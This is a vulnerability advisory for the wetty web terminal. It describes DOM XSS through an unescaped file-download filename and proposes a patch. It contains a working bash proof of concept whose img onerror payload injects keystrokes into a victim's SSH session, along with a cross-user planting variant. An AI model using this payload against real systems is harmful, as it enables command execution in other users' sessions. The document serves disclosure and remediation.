wetty vulnerable to DOM XSS via file-download filename

Summary

The wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl response - that contains \x1b[5i...:...\x1b[4i runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session.

Preconditions

• Victim has wetty open with an active SSH session.
• Attacker delivers the file-download escape sequence (\x1b[5i<b64-name>:<b64-content>\x1b[4i) into output the victim's terminal renders.
• Default configuration; no non-default flags required.

Details

// src/client/wetty.ts:37, 46-62
const fileDownloader = new FileDownloader();
// ...
socket.on('data', (data: string) => {
  const remainingData = fileDownloader.buffer(data);
  // every PTY byte forwarded by the server passes through buffer()
  // ...
})

Every byte the server forwards from the PTY passes through FileDownloader.buffer. The buffer scans for the documented file-download markers \x1b[5i (begin) and \x1b[4i (end) - documented in docs/downloading-files.md - and, on a complete match, hands the inner payload to onCompleteFile.

// src/client/wetty/download.ts:9-77
function onCompleteFile(bufferCharacters: string): void {
  let fileNameBase64;
  let fileCharacters = bufferCharacters;
  if (bufferCharacters.includes(':')) {
    [fileNameBase64, fileCharacters] = bufferCharacters.split(':');
  }
  // ...
  void detectAndDownload(bytes, fileCharacters, fileNameBase64);
}

async function detectAndDownload(/* ... */): Promise<void> {
  // ...
  let fileName;
  try {
    if (fileNameBase64 !== undefined) {
      fileName = window.atob(fileNameBase64);            // attacker-controlled
    }
  } catch { /* ... */ }
  fileName ??= `file-${ /* timestamp default */ }`;
  // ...
  Toastify({
    text: `Download ready: <a href="${blobUrl}" target="_blank" `
        + `download="${fileName}">${fileName}</a>`,     // sink
    duration: 10000,
    // ...
    escapeMarkup: false,
  }).showToast();
}

fileName is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (escapeMarkup: false). No HTML escaping runs between atob and the toast markup. The wetty client exposes the live terminal as window.wetty_term, and term.input(data, true) (src/client/wetty/term.ts:80, 93-97, 132, 145-198) fires xterm.js's onData, which src/client/wetty.ts:40-42 forwards as a socket input event - i.e., script in the wetty origin types into the victim's SSH session.

Proof of concept

Setup

1. Bring up wetty and its bundled SSH host from a fresh clone:

   bash

   git clone https://github.com/butlerx/wetty
   cd wetty
   docker compose up -d
   sleep 5

2. Open http://localhost/wetty in a browser. The login terminal prompts for a username (enter term) then proxies to wetty-ssh, which prompts for the SSH password (also term, set in containers/ssh/Dockerfile). The browser tab now holds a shell on the SSH container.

Exploit

1. In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:

   bash

   PAYLOAD='"><img src=x onerror="window.wetty_term.input(\"id > /tmp/pwned\\n\",true)">'
   FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0)
   DATA_B64=$(printf 'bait' | base64 -w0)
   printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64"

   Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied <img> element with the onerror handler.

2. The onerror handler calls window.wetty_term.input("id > /tmp/pwned\n", true), which xterm.js dispatches as a data event; src/client/wetty.ts:40-42 forwards it as a socket input event; the server writes it to the PTY. The SSH host runs id > /tmp/pwned as the connected user:

   bash

   cat /tmp/pwned

   Expected: uid=1000(term) gid=1000(term) groups=1000(term).

3. The same chain works cross-user. On a shared SSH host, a low-privileged user plants the sequence in a file the higher-privileged user reads via wetty:

   bash

   # As the low-priv user on the SSH host
   printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64" > /tmp/notes.txt

   When the higher-privileged user's wetty session runs cat /tmp/notes.txt, attacker-controlled JavaScript types commands into that user's shell.

Impact

• Confidentiality: Reads the rendered terminal contents via window.wetty_term.buffer.active.
• Integrity: Types attacker-chosen commands into the victim's SSH session via window.wetty_term.input().
• Auth: A writer of content the victim renders gains keystroke injection in the victim's higher-privileged session - a path from any local SSH user to commands as the wetty user.

Suggestions to fix

This has not been tested - it is illustrative only.

HTML-escape the decoded filename before interpolating it into Toastify's HTML markup at src/client/wetty/download.ts:67-77.

   fileName ??= `file-${new Date()
     .toISOString()
     .split('.')[0]
     .replace(/-/g, '')
     .replace('T', '')
     .replace(/:/g, '')}${fileExt ? `.${fileExt}` : ''}`;
+  const safeName = fileName.replace(/[&<>"']/g, (c) =>
+    ({ '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;' })[c] ?? c,
+  );

   const blob = new Blob([bytes.buffer as ArrayBuffer], { type: mimeType });
   const blobUrl = URL.createObjectURL(blob);

   Toastify({
-    text: `Download ready: <a href="${blobUrl}" target="_blank" download="${fileName}">${fileName}</a>`,
+    text: `Download ready: <a href="${blobUrl}" target="_blank" download="${safeName}">${safeName}</a>`,
     duration: 10000,